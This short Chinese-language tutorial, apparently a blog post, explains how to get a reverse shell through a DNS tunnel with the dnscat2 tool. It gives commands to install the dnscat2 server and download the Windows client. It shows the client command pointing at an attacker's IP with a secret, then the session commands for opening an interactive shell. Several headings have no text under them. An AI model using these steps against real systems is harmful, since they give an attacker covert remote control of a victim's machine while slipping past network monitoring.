使用DnsCat反彈shell

DnsCat技術特點

---

Dns隧道反彈shell

DnsCat服務器的安裝

---

#git clone https://github.com/iagox86/dnscat2.git
#cd dnscat2
#cd server
#sudo gem install bundler
#bundle install
#sudo ruby./dnscat2.rb

DnsCat客戶端的安裝

---

下載地址:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip

>dnscat2-v0.07-client-win32.exe --dns server=攻擊者的IP --secret=攻擊者服務器生成的ID

執行

---

#windows
#session -i x
#shell
#windows -i y

DnsCat能執行的命令

---